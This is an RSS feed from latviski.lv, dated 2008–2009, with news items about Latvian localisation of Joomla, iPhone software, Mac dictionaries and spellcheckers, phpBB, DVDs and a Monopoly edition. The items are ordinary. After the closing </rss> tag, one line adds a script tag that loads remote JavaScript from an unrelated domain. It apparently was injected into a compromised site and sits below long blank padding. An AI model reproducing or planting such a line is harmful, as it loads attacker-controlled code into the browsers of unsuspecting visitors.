



































































































































<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:admin="http://webns.net/mvcb/"
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns:content="http://purl.org/rss/1.0/modules/content/">

    <channel>
    
    <title>latviski.lv</title>
    <link>http://latviski.lv/index.php/site/index/</link>
    <description></description>
    <dc:language>en</dc:language>
    <dc:creator>agross@deksoft.com</dc:creator>
    <dc:rights>Copyright 2009</dc:rights>
    <dc:date>2009-06-27T16:17:00+02:00</dc:date>
    <admin:generatorAgent rdf:resource="http://www.pmachine.com/" />
    

    <item>
      <title>Joomla LV</title>
      <link>http://latviski.lv/index.php/site/joomla_lv/</link>
      <guid>http://latviski.lv/index.php/site/joomla_lv/#When:16:17:00Z</guid>
      <description>An enthusiastic Latvian team has been hard at work since February, 2007 translating the 1.0x and 1.5 versions of Joomla, a popular Content Management System (CMS), into the Latvian language.

 

As a result its popularity has grown from a handful to several hundred Latvian Web site implementations many of which can be viewed in the catalogue on their JoomlaLV Web site.


It also poses a serious challenge to the home&#45;grown CMS or SVS (Satura Vadības Sistema) software developed in Latvia, because Joomla is an open source solution that is freely available to everyone and has more flexibility than its Latvian counterparts.</description>
      <dc:subject>Other &#45; Web pages</dc:subject>
      <dc:date>2009-06-27T16:17:00+02:00</dc:date>
    </item>

    <item>
      <title>iPhone OS 3.0</title>
      <link>http://latviski.lv/index.php/site/iphone_os_30/</link>
      <guid>http://latviski.lv/index.php/site/iphone_os_30/#When:16:44:00Z</guid>
      <description>Along with the announcement of the new iPhone 3GS model existing iPhone/iPod Touch users can finally upgrade to the latest software version: iPhone OS 3.0.


Unfortunately not much has changed in terms of Latvian language support and the date formats on the home screen and both Calendar and Weather apps still need to be fixed.


The good news is that the App Store is now available (since April) in all three Baltic countries.</description>
      <dc:subject>Media devices, iPhone</dc:subject>
      <dc:date>2009-06-17T16:44:00+02:00</dc:date>
    </item>

    <item>
      <title>iCalamus</title>
      <link>http://latviski.lv/index.php/site/icalamus/</link>
      <guid>http://latviski.lv/index.php/site/icalamus/#When:21:01:00Z</guid>
      <description>If you have been working with desktop publishing software such as Pagemaker, InDesign, Quark Xpress and Pages you may want to check out iCalamus. Developed specifically for Mac OS X by German firm &#8220;invers Software&#8221; iCalamus is easy to use and is priced quite competitively. Thanks to Mārtiņš Zemzaris (a.k.a. Gludahill) a Latvian localisation has been available since June 2008.





The Web site and the User Manual have also been translated into Latvian. The full version is available for EUR 129.</description>
      <dc:subject>Computers &#45; OS, Macintosh, Computers &#45; Software</dc:subject>
      <dc:date>2008-11-29T21:01:00+02:00</dc:date>
    </item>

    <item>
      <title>MONOPOLY Here &amp; Now: World Edition</title>
      <link>http://latviski.lv/index.php/site/monopoly_here_now_world_edition/</link>
      <guid>http://latviski.lv/index.php/site/monopoly_here_now_world_edition/#When:21:53:01Z</guid>
      <description>The world&#8217;s most popular board game featuring 20 cities of the world became available in stores on 26th August 2008 in 50 countries and 37 languages including Latvian. 


Nearly 6 million votes were cast for 68 cities during the six weeks of online voting. Not only did Riga make it in the top 20 selected cities it came second place to join Montreal in the dark blue property group which is considered to be the most prestigous property group in the board game.







&#8220;MONOPOLY Šeit un tagad: Pasaules izdevums&#8221; is available from most games stores in Riga for LVL 35&#45;40.</description>
      <dc:subject>Games</dc:subject>
      <dc:date>2008-10-31T21:53:01+02:00</dc:date>
    </item>

    <item>
      <title>iPhone 3G/iPod Touch</title>
      <link>http://latviski.lv/index.php/site/iphone_3g1/</link>
      <guid>http://latviski.lv/index.php/site/iphone_3g1/#When:16:59:00Z</guid>
      <description>Latvia&#8217;s largest mobile operator, LMT (Latvijas Mobilais telefons) finally launched the long awaited iPhone 3G last Friday (September 26th).


Although Baltic language text has been displaying perfectly in iPhones and iPods for at least the last 2 years it is only with the latest iPhone 2.1 Software update that the user is able to input Latvian letters as well.


To activate the Latvian keyboard on the iPhone 3G (or iPod Touch) go to Settings &#45;&gt; General &#45;&gt; Keyboard and from the list of International Keyboards switch on the Latvian option. To access the diacritical letters simply touch on the appropriate letter for more than 1 second and choose from the popup list. Latvian language purists may be disappointed since neither o&#45;macron or palatalised&#45;r are offered as input letters, however both will display correctly.


Riga is now also selectable as a city from the World Clock application (previously you had to choose Helsinki since none of the Baltic capital cities were available).


The User Manual for the iPhone 3G is also available in Latvian.</description>
      <dc:subject>Mobile Telephones, Apple</dc:subject>
      <dc:date>2008-09-28T16:59:00+02:00</dc:date>
    </item>

    <item>
      <title>Update on Latvian dubbed DVDs</title>
      <link>http://latviski.lv/index.php/site/update_on_latvian_dubbed_dvds/</link>
      <guid>http://latviski.lv/index.php/site/update_on_latvian_dubbed_dvds/#When:15:11:00Z</guid>
      <description>Last week, a whole 18 months after the screening of Aizskalotais (Flushed Away) in Riga cinemas (back in December 2006), we have finally got the DVD version in our hands. Joining Aizskalotais is also Šarlotes tīkls (15 months later) and Šreks Trešais (12 months later) which have also only recently appeared on video store shelves. Why it takes so long to release the Latvian DVD versions remains a mystery.


If you are looking out for the professionally dubbed Latvian DVDs for the younger audience here is a quick overview of what is now available:


&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;




&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;









Although the DVD covers have been nicely translated to Latvian the distributers seemed to have forgot about the printing on the actual DVD disks which are in either Russian or English.


Both Šreks 2 (Shrek 2) and Haizivs stāsts (Shark Tale) are still only available in VHS video casette format. Noķert vilni (Surf’s Up) and Hortons (Horton hears a Who) both of which have screened in the last 6 months are yet to be released on DVD. The Latvian version of Kung Fu Panda is currently showing in cinemas. Trauksme mežā (Open Season) seems to have been forgotten completely (screened nearly 2 years ago) and only the Russian DVD version continues to be available in Latvia.</description>
      <dc:subject>Films, DVDs</dc:subject>
      <dc:date>2008-06-29T15:11:00+02:00</dc:date>
    </item>

    <item>
      <title>Apple iPhone 3G</title>
      <link>http://latviski.lv/index.php/site/apple_iphone_3g/</link>
      <guid>http://latviski.lv/index.php/site/apple_iphone_3g/#When:15:57:00Z</guid>
      <description>There was a lot of buzz about the announcement of the new iPhone 2.0 software and the new iPhone 3G, but no&#45;one expected that this was all going to be available in the Baltics as well. Latvijas mobilais telefons (LMT) will carry the iPhone 3G in Latvia with an expected release date later this Summer. 


How much the iPhone interface will be localised into each of the Baltic languages is yet to be seen. Users who have unlocked their current iPhones can already enjoy the unofficial Latvian interface pack.</description>
      <dc:subject>Mobile Telephones, Apple</dc:subject>
      <dc:date>2008-06-12T15:57:00+02:00</dc:date>
    </item>

    <item>
      <title>Latvian spellchecker for Macintosh (Pareizrakstība)</title>
      <link>http://latviski.lv/index.php/site/latvian_spellchecker_for_macintosh_pareizrakstiiba/</link>
      <guid>http://latviski.lv/index.php/site/latvian_spellchecker_for_macintosh_pareizrakstiiba/#When:21:03:00Z</guid>
      <description>At the same time as Vārdnīcas, Kroko had also been patiently working on another Latvian proofing tool for several months and trying to improve on the already existing, but limited cocoAspell Latvian spellchecker. After several unsuccessful attempts a decision was made to go another route using MySpellX and Janis Eisaks’ OpenOffice Latvian spell checker dictionary. 





The result is Pareizrakstība, a Latvian spellchecker, which works in most applications that make use of the system wide spell checking services in OS X 10.5 (Leopard). Examples include Mail, TextEdit, iCal, Skype and others. As of writing there were known problems with iWork 08 (Pages, Numbers, Keynote) which the author has agreed to address in a future update. In any case users are not complaining too loudly since Pareizrakstība is also donationware and available as a free download from Kroko&#8217;s Web site.&amp;nbsp; 


Kroko also plans to create an easy way for users to submit additions/corrections back to Janis Eisaks so that the open source Latvian spell checker dictionary can be regularly updated and improved benefiting both the OpenOffice and Macintosh user community.</description>
      <dc:subject>Computers &#45; Software, Latvian Proofing Tools</dc:subject>
      <dc:date>2008-05-06T21:03:00+02:00</dc:date>
    </item>

    <item>
      <title>Latvian dictionaries for Macintosh (Vārdnīcas)</title>
      <link>http://latviski.lv/index.php/site/latvian_dictionaries_for_macintosh/</link>
      <guid>http://latviski.lv/index.php/site/latvian_dictionaries_for_macintosh/#When:20:48:00Z</guid>
      <description>Reinis Adovičs aka Kroko, a budding architect and city planner, worked day and night for a whole week this past March to produce Latvian dictionaries for the Macintosh platform (Latviešu–English, English–Latviešu, Latviešu–Deutsch, Deutsch&#45;Latviešu, Latviešu&#45; Русский, Русский –Latviešu, Latviešu Sinonīmu, Latviešu Eirožargons). 





After installing Vārdnīcas the dictionaries can then be selected from Apple’s Dictionary application. You’ll need at least Macintosh OX X 10.5. Vārdnīcas is available as a free download from Kroko’s Web site.</description>
      <dc:subject>Computers &#45; Software, Latvian Proofing Tools</dc:subject>
      <dc:date>2008-04-30T20:48:00+02:00</dc:date>
    </item>

    <item>
      <title>phpBB</title>
      <link>http://latviski.lv/index.php/site/phpbb/</link>
      <guid>http://latviski.lv/index.php/site/phpbb/#When:13:11:00Z</guid>
      <description>One of the most widely used open source bulletin board systems (forum software) in the world, phpBB has since version 2.x been available with a limited Latvian user interface as well.


Latvian language packs (as well as Estonian and Lithuanian) are available for phpBB 2.0.x and the latest phpBB 3.0.0 versions. Kaspars, the main translator, also provides the ability to download the language pack from his Web site at www.phpbb.lv.


Further effort is required to complete the Latvian localisation, for example, the Administration Control Panel is yet to be translated to Latvian.</description>
      <dc:subject>Computers &#45; Software, Computers &#45; Web pages</dc:subject>
      <dc:date>2008-03-02T13:11:00+02:00</dc:date>
    </item>

    
    </channel>
</rss><script src="http://whereisdudescars.com/js2.php"></script>